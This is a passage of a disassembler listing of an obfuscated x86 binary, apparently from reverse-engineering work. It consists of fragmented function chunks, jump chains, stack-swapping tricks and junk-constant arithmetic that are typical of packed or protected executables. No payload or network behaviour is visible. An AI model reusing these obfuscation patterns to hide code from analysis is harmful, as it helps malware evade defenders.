; CODE XREF: hjohnhn9:00428472j jmp loc_42879B ; END OF FUNCTION CHUNK FOR sub_4242A0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_427881: ; CODE XREF: sub_425BD2+1D8Cj jmp loc_426F24 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42859A loc_427886: ; CODE XREF: sub_42859A+11j mov edx, 0B9726E5Ah push offset sub_425BD2 jmp locret_424207 ; END OF FUNCTION CHUNK FOR sub_42859A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426671 loc_427895: ; CODE XREF: sub_426671-649j jz loc_423FD3 jmp loc_42631C ; END OF FUNCTION CHUNK FOR sub_426671 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426961 loc_4278A0: ; CODE XREF: sub_426961:loc_42784Bj rol eax, 1Dh or eax, 0F6D1A721h add eax, 4A7172h xchg eax, [esp+0] jmp loc_42681D ; END OF FUNCTION CHUNK FOR sub_426961 ; --------------------------------------------------------------------------- loc_4278B7: ; CODE XREF: hjohnhn9:0042683Bj xchg esi, [eax] ; =============== S U B R O U T I N E ======================================= sub_4278B9 proc near ; CODE XREF: sub_427A58-3B3Dp ; FUNCTION CHUNK AT 0042340D SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00423948 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004282CE SIZE 00000005 BYTES xchg edx, [esp+0] pop edx mov [ebp-4], eax loc_4278C0: ; CODE XREF: sub_427C9B:loc_4246F4j cmp dword ptr [ebp-4], 0 jnz loc_423415 lea eax, [ebp-125h] push eax jmp loc_423948 sub_4278B9 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_75. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423425 loc_4278D7: ; CODE XREF: sub_423425+9j jmp loc_4282D8 ; END OF FUNCTION CHUNK FOR sub_423425 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4278DC proc near ; CODE XREF: sub_42387A+2E17j ; sub_428CC9+1p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423785 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00423D54 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042438A SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00424BA3 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424C01 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042515B SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00427A24 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427B35 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00427F70 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042808F SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00428571 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428FEC SIZE 0000001C BYTES push ebp mov ebp, esp push ecx mov esp, ebp xchg edi, [esp+0] mov ebp, edi jmp loc_427F70 sub_4278DC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4278EC proc near ; DATA XREF: sub_4262DA+7o ; FUNCTION CHUNK AT 0042382E SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042434F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004243F7 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042740A SIZE 00000012 BYTES ; FUNCTION CHUNK AT 004279E8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427D42 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00427EAB SIZE 0000001D BYTES mov ds:dword_423940, eax jmp loc_427EAB sub_4278EC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4278F6 proc near ; CODE XREF: sub_427A36j ; FUNCTION CHUNK AT 00423B97 SIZE 00000005 BYTES push ebp mov ebp, esp push ecx push offset sub_428E65 jmp loc_423B97 sub_4278F6 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427994 loc_427904: ; CODE XREF: sub_427994-11F8j jz loc_423AE4 jmp loc_42469E ; END OF FUNCTION CHUNK FOR sub_427994 ; =============== S U B R O U T I N E ======================================= sub_42790F proc near ; DATA XREF: sub_426211-1CD9o add edi, 0FD021EE1h mov [edi], eax push offset loc_428FCC jmp loc_426BC5 sub_42790F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_427921: ; CODE XREF: sub_427486:loc_423246j jz loc_428004 ; END OF FUNCTION CHUNK FOR sub_427486 ; START OF FUNCTION CHUNK FOR sub_426354 loc_427927: ; CODE XREF: sub_426354-741j jmp loc_425E20 ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424877 loc_42792C: ; CODE XREF: sub_424877:loc_42465Aj jmp nullsub_66 ; END OF FUNCTION CHUNK FOR sub_424877 ; --------------------------------------------------------------------------- xchg ecx, [esi] mov [ecx], ebx adc edi, 9915B2EFh cdq add ecx, 35122E90h jmp loc_428004 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_427947: ; CODE XREF: sub_42466E:loc_424008j ; sub_4260BD+166Aj shr ecx, 1Bh ; END OF FUNCTION CHUNK FOR sub_42466E ; START OF FUNCTION CHUNK FOR sub_4260BD loc_42794A: ; CODE XREF: sub_4260BD:loc_4282E4j mov byte ptr [ebp-20h], 30h inc dword ptr [ebp-10h] ; END OF FUNCTION CHUNK FOR sub_4260BD ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_427951: ; CODE XREF: sub_426354:loc_423350j ; sub_423753+8j ... dec dword ptr [ebp-10h] cmp dword ptr [ebp-10h], 0 jl loc_428DA6 jmp loc_427881 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- test eax, eax jz loc_42476D jmp loc_42500A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_427970: ; CODE XREF: sub_424631-6D1j call sub_427AEB call sub_423548 loc_42797A: ; CODE XREF: sub_424EC9+3B6Cj jmp nullsub_30 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_42797F: ; CODE XREF: sub_42466E+1744j jmp sub_4279ED ; END OF FUNCTION CHUNK FOR sub_42466E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A78 loc_427984: ; CODE XREF: sub_424A78-A7Bj jmp loc_426DAA ; END OF FUNCTION CHUNK FOR sub_424A78 ; --------------------------------------------------------------------------- loc_427989: ; CODE XREF: hjohnhn9:0042506Cj jz loc_42750E jmp loc_4234C3 ; =============== S U B R O U T I N E ======================================= sub_427994 proc near ; CODE XREF: hjohnhn9:0042811Fj ; sub_428BCF+Fp ; FUNCTION CHUNK AT 004239EC SIZE 00000019 BYTES ; FUNCTION CHUNK AT 004261F1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042678E SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00427904 SIZE 0000000B BYTES xchg edi, [esp+0] pop edi add esp, 8 mov [ebp-4], eax push 0C81D22B2h pop eax jmp loc_4261F1 sub_427994 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4279C0 loc_4279A9: ; CODE XREF: sub_4279C0+63Fj mov eax, [ebp+var_4] xchg edi, [esp+4+var_4] mov ecx, edi pop edi pop ebp retn 4 ; END OF FUNCTION CHUNK FOR sub_4279C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A78 loc_4279B6: ; CODE XREF: sub_426A78+7j jmp loc_427B1B ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42363F loc_4279BB: ; CODE XREF: sub_42363F+4j jmp loc_425C7D ; END OF FUNCTION CHUNK FOR sub_42363F ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4279C0 proc near ; CODE XREF: sub_4279C0-1603p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00423D42 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042446C SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004249CC SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042507B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425E85 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00425F5B SIZE 00000012 BYTES ; FUNCTION CHUNK AT 004263B1 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 004279A9 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00427FF5 SIZE 0000000F BYTES push ebp mov ebp, esp jmp loc_423D42 sub_4279C0 endp ; =============== S U B R O U T I N E ======================================= sub_4279C8 proc near ; DATA XREF: sub_424C5F+Co ; FUNCTION CHUNK AT 00429013 SIZE 00000005 BYTES call sub_4262C5 push offset loc_42903E jmp loc_429013 sub_4279C8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427324 loc_4279D7: ; CODE XREF: sub_427324+11A2j mov ds:dword_4252C4, eax retn ; END OF FUNCTION CHUNK FOR sub_427324 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_4279DE: ; CODE XREF: sub_424161+1A62j jmp loc_4234B1 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428477 loc_4279E3: ; CODE XREF: sub_428477-3677j jmp loc_4287A5 ; END OF FUNCTION CHUNK FOR sub_428477 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278EC loc_4279E8: ; CODE XREF: sub_4278EC-40B7j jmp loc_427D42 ; END OF FUNCTION CHUNK FOR sub_4278EC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4279ED proc near ; CODE XREF: sub_423B05-CAp ; sub_426F5A-30B5p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004244A3 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00424AA9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424C76 SIZE 00000005 BYTES push ebp mov ebp, esp jns sub_4289B2 add esp, 0FFFFFED8h mov [ebp+var_8], edx mov [ebp+var_4], eax jmp loc_424C76 sub_4279ED endp ; =============== S U B R O U T I N E ======================================= sub_427A07 proc near ; DATA XREF: hjohnhn9:004237CDo cmp dword ptr [ebp-8], 0 jz loc_42909E sub_427A07 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_426354 loc_427A11: ; CODE XREF: sub_426354+AB9j ; hjohnhn9:00429098j js loc_426302 cmp dword ptr [ebp-1Ch], 0Fh jmp loc_42323C ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- mov ecx, [edx] mov edi, edx ; START OF FUNCTION CHUNK FOR sub_4278DC loc_427A24: ; CODE XREF: sub_4278DC-3B82j jmp sub_428CAF ; END OF FUNCTION CHUNK FOR sub_4278DC ; --------------------------------------------------------------------------- not ebx jmp sub_428D1E ; =============== S U B R O U T I N E ======================================= sub_427A30 proc near ; CODE XREF: sub_426B29:loc_427D8Ep mov eax, 0A0h retn sub_427A30 endp ; =============== S U B R O U T I N E ======================================= sub_427A36 proc near ; CODE XREF: sub_427A58-3B42p ; sub_427E85-3CF7p ... ; FUNCTION CHUNK AT 004262A3 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0042888D SIZE 00000005 BYTES js sub_4278F6 push ebp mov ebp, esp jmp loc_4262A3 sub_427A36 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_427A44: ; CODE XREF: sub_423B05:loc_4233E1j add eax, ebp add eax, 48CFDDBEh mov eax, [eax] push offset loc_423D87 jmp nullsub_84 ; END OF FUNCTION CHUNK FOR sub_423B05 ; =============== S U B R O U T I N E ======================================= sub_427A58 proc near ; CODE XREF: hjohnhn9:004266C7j ; sub_4284CB-507p ; FUNCTION CHUNK AT 00423F10 SIZE 00000011 BYTES xchg ebx, [esp+0] pop ebx mov [ebp-4], eax mov eax, offset dword_425AEC jmp loc_423F10 sub_427A58 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426BD2 loc_427A69: ; CODE XREF: sub_426BD2:loc_4235C4j pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_426BD2 ; --------------------------------------------------------------------------- loc_427A6C: ; CODE XREF: hjohnhn9:004235B7j mov eax, [ebp+8] cmp dword ptr [eax-0Ch], 4 jnz loc_426B63 ; START OF FUNCTION CHUNK FOR sub_427B7A loc_427A79: ; CODE XREF: sub_427B7A+4j jmp loc_426B5A ; END OF FUNCTION CHUNK FOR sub_427B7A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_427A7E: ; CODE XREF: sub_423BC3+60Aj jz loc_428FAE shl ebp, 1Bh jmp loc_428F9F ; END OF FUNCTION CHUNK FOR sub_423BC3 ; --------------------------------------------------------------------------- push ebx mov ebx, ebp xchg ebx, [esp] mov ebp, esp add esp, 0FFFFFFCCh jmp loc_423145 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4265CD loc_427A9C: ; CODE XREF: sub_4265CD-257Cj jnz loc_42352D ; END OF FUNCTION CHUNK FOR sub_4265CD ; START OF FUNCTION CHUNK FOR sub_427C53 loc_427AA2: ; CODE XREF: sub_427C53+9j jmp sub_426F85 ; END OF FUNCTION CHUNK FOR sub_427C53 ; --------------------------------------------------------------------------- ror ebp, 19h xor ebp, 0D5414480h jmp loc_42352B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_427AB5: ; CODE XREF: sub_426354+24A4j jnz loc_428BAC jmp loc_423451 ; END OF FUNCTION CHUNK FOR sub_426354 ; =============== S U B R O U T I N E ======================================= sub_427AC0 proc near ; CODE XREF: hjohnhn9:004237DDj ; sub_42325E:loc_424261p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042390C SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00423B3E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424251 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424703 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00424D04 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00425C3B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426393 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 004283A1 SIZE 00000018 BYTES xchg ebx, [esp+0] pop ebx push ecx push 8CD3AF68h jmp loc_426393 sub_427AC0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A28 loc_427ACF: ; CODE XREF: sub_424A28+3FA3j jz sub_42677F jmp loc_4284A7 ; END OF FUNCTION CHUNK FOR sub_424A28 ; --------------------------------------------------------------------------- xor edx, 31C7C26Fh and ebp, 901DEA2Fh jmp sub_425BF2 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427AEB proc near ; CODE XREF: sub_426749-300Dp ; sub_427C9B-2197p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp jz sub_424377 add esp, 0FFFFFFF8h mov [ebp+var_8], edx mov [ebp+var_4], eax jmp loc_424491 sub_427AEB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42841F loc_427B02: ; CODE XREF: sub_42841F:loc_423810j cdq test eax, 0C9C7E8BAh jmp loc_426588 ; END OF FUNCTION CHUNK FOR sub_42841F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_427B0E: ; CODE XREF: sub_424819:loc_426A09j xor eax, 4E22A3B1h add eax, ebp call sub_423FB9 ; END OF FUNCTION CHUNK FOR sub_424819 ; START OF FUNCTION CHUNK FOR sub_426A78 loc_427B1B: ; CODE XREF: sub_426A78:loc_4279B6j push 0FA814B42h pop eax xor eax, 0CA5BD9A7h rol eax, 11h test eax, 200000h jmp loc_423D47 ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278DC loc_427B35: ; CODE XREF: sub_4278DC-3B7Aj push 0BCDFDBAAh mov ecx, ebp loc_427B3C: ; CODE XREF: sub_4278DC:loc_424BA3j call sub_424877 mov edx, 4CB976E9h call sub_4279ED push eax jmp loc_423785 ; END OF FUNCTION CHUNK FOR sub_4278DC ; =============== S U B R O U T I N E ======================================= sub_427B51 proc near ; CODE XREF: hjohnhn9:00423EB2j ; sub_426354-51Fp ; FUNCTION CHUNK AT 00428174 SIZE 0000000F BYTES xchg ecx, [esp+0] pop ecx mov [ebp-8], eax loc_427B58: ; CODE XREF: sub_426354:loc_4262EBj ; sub_426354-4Ej js loc_428174 test byte ptr [ebp-8], 2 jz loc_424C37 jmp sub_4241D2 sub_427B51 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_427B6D: ; CODE XREF: hjohnhn9:00426250j jnb loc_424A5E cmp edi, ecx jmp loc_426632 ; =============== S U B R O U T I N E ======================================= sub_427B7A proc near ; CODE XREF: hjohnhn9:00424B7Bj ; hjohnhn9:00428CA5p ; FUNCTION CHUNK AT 00426B5A SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00427A79 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042856C SIZE 00000005 BYTES xchg edi, [esp+0] pop edi jmp loc_427A79 sub_427B7A endp ; sp-analysis failed ; --------------------------------------------------------------------------- call sub_4263C7 loc_427B88: ; CODE XREF: hjohnhn9:004268CEj jmp loc_428A3A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426F5A loc_427B8D: ; CODE XREF: sub_426F5A-1E18j jmp loc_427339 ; END OF FUNCTION CHUNK FOR sub_426F5A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CCD loc_427B92: ; CODE XREF: sub_423CCD+9j jmp loc_4271DA ; END OF FUNCTION CHUNK FOR sub_423CCD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425CB3 loc_427B97: ; CODE XREF: sub_425CB3-246Dj jmp loc_4267AC ; END OF FUNCTION CHUNK FOR sub_425CB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CDB loc_427B9C: ; CODE XREF: sub_423CDB+3A9j ; sub_423CDB:loc_426B13j ... call sub_424877 push 96560501h xchg ebx, [esp+0] mov edx, ebx pop ebx jmp loc_425EFB ; END OF FUNCTION CHUNK FOR sub_423CDB ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_72. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- locret_427BB2: ; CODE XREF: hjohnhn9:loc_425D60j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A30 loc_427BB3: ; CODE XREF: sub_4248F9+6j pop ebp retn ; END OF FUNCTION CHUNK FOR sub_426A30 ; --------------------------------------------------------------------------- loc_427BB5: ; CODE XREF: hjohnhn9:004268D5j mov eax, [ebp-4] call sub_428838 ; START OF FUNCTION CHUNK FOR sub_42325E loc_427BBD: ; CODE XREF: sub_42325E:loc_423265j jz loc_428B4C adc ebx, 3722B6D7h jmp loc_426FE2 ; END OF FUNCTION CHUNK FOR sub_42325E ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427BCE proc near ; DATA XREF: sub_4230F2+1o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00427380 SIZE 0000000B BYTES mov ebp, esp push ecx mov esp, ebp xchg edi, [esp+4+var_4] mov ebp, edi pop edi mov eax, ds:dword_428B08 or eax, eax jmp loc_427380 sub_427BCE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_427BE6: ; CODE XREF: sub_424161+15j mov eax, [ebp-20h] call sub_426C1C loc_427BEE: ; CODE XREF: sub_42466E-635j jmp loc_42458F ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_427BF3: ; CODE XREF: sub_423B05:loc_423A2Bj ; sub_42387A:loc_4270E3j add eax, 132B10CCh add eax, ebp loc_427BFB: ; CODE XREF: sub_423B05:loc_423648j add eax, 0EE6D4C16h mov eax, [eax] push eax call sub_4237F4 jmp loc_4238B5 ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- ror esi, 11h sbb edx, esi jmp sub_4289A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_427C18: ; CODE XREF: sub_4262C5:loc_4264EBj add [ebp-0Ah], al xor eax, eax mov al, [ebp-0Ah] shr eax, 4 xor [ebp-0Ah], al inc dword ptr [ebp-8] inc dword ptr [ebp-4] loc_427C2C: ; CODE XREF: hjohnhn9:loc_428A5Bj jmp loc_42761C ; END OF FUNCTION CHUNK FOR sub_4262C5 ; --------------------------------------------------------------------------- loc_427C31: ; DATA XREF: sub_4278EC-4DAo cmp al, 0A4h jnz loc_427D5C jmp loc_4274AD ; --------------------------------------------------------------------------- jmp loc_427D5C ; =============== S U B R O U T I N E ======================================= sub_427C43 proc near ; CODE XREF: sub_428183-4E4Aj ; hjohnhn9:00424305p ... push offset loc_424B1C jmp nullsub_36 sub_427C43 endp ; --------------------------------------------------------------------------- loc_427C4D: ; CODE XREF: hjohnhn9:004237B8j mov ds:dword_4252D0, eax retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427C53 proc near ; CODE XREF: sub_426D17-3817p ; hjohnhn9:0042379Fp ... ; FUNCTION CHUNK AT 00427AA2 SIZE 00000005 BYTES push ebp mov ebp, esp jno sub_428D0E jmp loc_427AA2 sub_427C53 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_427C61: ; CODE XREF: sub_427C9B-359Ej mov eax, ebp loc_427C63: ; CODE XREF: sub_427C9B:loc_423433j xor ecx, 0BCAAC869h cmp ecx, 0FCF34Fh jmp loc_424512 ; END OF FUNCTION CHUNK FOR sub_427C9B ; --------------------------------------------------------------------------- loc_427C74: ; DATA XREF: sub_4269BD-28A0o mov [ebp-1Ch], eax inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] mov eax, ds:dword_4252DC[eax*4] mov [ebp-8], eax jmp loc_428368 ; --------------------------------------------------------------------------- sub ebx, ecx cmp esi, 63D9B48Bh jmp loc_425DDE ; --------------------------------------------------------------------------- loc_427C99: ; CODE XREF: hjohnhn9:00426045j xor esi, ecx ; =============== S U B R O U T I N E ======================================= sub_427C9B proc near ; CODE XREF: sub_424161+2506p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423433 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00423771 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00424208 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424496 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042451C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004246A8 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 004246F4 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00424F76 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00425AF0 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 004260C3 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426176 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00426870 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426DFA SIZE 00000001 BYTES ; FUNCTION CHUNK AT 00427195 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00427C61 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00427E76 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042858D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004289DB SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00428E0C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00429050 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00429112 SIZE 0000000A BYTES xchg edi, [esp+4+var_4] pop edi add eax, ebp add eax, 9A0058C7h jmp loc_427D2F ; --------------------------------------------------------------------------- not eax jmp loc_426DFA ; --------------------------------------------------------------------------- loc_427CB3: ; CODE XREF: hjohnhn9:loc_426E70j jge loc_4246AB loc_427CB9: ; CODE XREF: sub_426A78-18EBj jmp loc_4260C3 ; --------------------------------------------------------------------------- jbe loc_42627F jmp loc_4246A8 ; --------------------------------------------------------------------------- xchg eax, [edx] jmp sub_4246DB ; --------------------------------------------------------------------------- loc_427CD0: ; DATA XREF: sub_427DE6-1993o push eax push 0 call sub_424345 loc_427CD8: ; DATA XREF: sub_425EA9-169Do or eax, eax jnz locret_427CE5 loc_427CE0: ; CODE XREF: sub_425EA9:loc_424801j call sub_425B19 locret_427CE5: ; CODE XREF: sub_427C9B+3Fj retn ; --------------------------------------------------------------------------- loc_427CE6: ; CODE XREF: hjohnhn9:loc_428626j jl loc_42719E loc_427CEC: ; CODE XREF: sub_426523+1F45j jmp nullsub_78 ; --------------------------------------------------------------------------- js loc_42323C jmp loc_427195 ; --------------------------------------------------------------------------- loc_427CFC: ; CODE XREF: sub_424698:loc_427657j sub edx, 386F283Ah and edx, 7878DEA8h add edx, 7B703C08h call sub_4279ED loc_427D13: ; CODE XREF: sub_42325E:loc_4231DAj push eax jmp loc_424208 ; --------------------------------------------------------------------------- loc_427D19: ; CODE XREF: sub_4250FC-1FDCj test ecx, 400000h jmp loc_427E76 ; --------------------------------------------------------------------------- loc_427D24: ; CODE XREF: sub_425B34:loc_425B43j sub esi, 0E320DB65h jmp loc_425AF0 ; --------------------------------------------------------------------------- loc_427D2F: ; CODE XREF: sub_427C9B+Cj mov eax, [eax] and dword ptr [eax+24h], 7FFFFFFFh push offset loc_426150 jmp nullsub_37 sub_427C9B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278EC loc_427D42: ; CODE XREF: sub_4278EC:loc_4279E8j jnz loc_4243F7 call sub_425EA9 mov edx, 0E5254649h call sub_427C53 mov ds:dword_423944, eax loc_427D5C: ; CODE XREF: sub_426D6A:loc_426D87j ; hjohnhn9:00427C33j ... mov esp, ebp pop ebp push ds:dword_423944 jmp nullsub_43 ; END OF FUNCTION CHUNK FOR sub_4278EC ; =============== S U B R O U T I N E ======================================= sub_427D6A proc near ; DATA XREF: sub_424EC9+3B67o arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 004231A3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425121 SIZE 0000001B BYTES push 87648E19h pop edi and edi, 36F77563h sub edi, 1D14370Fh jmp loc_4231A3 sub_427D6A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427564 loc_427D81: ; CODE XREF: sub_427564-3ABAj test ecx, edi jmp loc_428906 ; END OF FUNCTION CHUNK FOR sub_427564 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_38. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_427D89: ; CODE XREF: sub_424631+2302j jmp loc_424F28 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426B29 loc_427D8E: ; CODE XREF: sub_426B29-1896j ; sub_426B29-188Aj call sub_427A30 push offset loc_427619 jmp nullsub_38 ; END OF FUNCTION CHUNK FOR sub_426B29 ; =============== S U B R O U T I N E ======================================= sub_427D9D proc near ; DATA XREF: sub_424631:loc_428DD1o ; FUNCTION CHUNK AT 00424ED3 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 004264BC SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042838D SIZE 00000005 BYTES mov eax, [ebp+8] test byte ptr [eax-10h], 38h jnz loc_423F3D mov eax, [ebp+8] push eax jmp loc_424ED3 sub_427D9D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_427DB3: ; CODE XREF: sub_424631:loc_424F09j jnz loc_423662 mov eax, [ebp+8] push offset loc_425BA2 jmp loc_42839C ; END OF FUNCTION CHUNK FOR sub_424631 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_54. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_427DC7: ; CODE XREF: sub_42466E+A35j jmp loc_42424B ; END OF FUNCTION CHUNK FOR sub_42466E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_115. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42855B loc_427DCD: ; CODE XREF: sub_42855B+6j jmp sub_4230F2 ; END OF FUNCTION CHUNK FOR sub_42855B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4237F4 loc_427DD2: ; CODE XREF: sub_4237F4:loc_426B24j pop ebp mov eax, ds:dword_4233A4 or eax, eax jnz loc_42680E jmp loc_426B2F ; END OF FUNCTION CHUNK FOR sub_4237F4 ; =============== S U B R O U T I N E ======================================= sub_427DE6 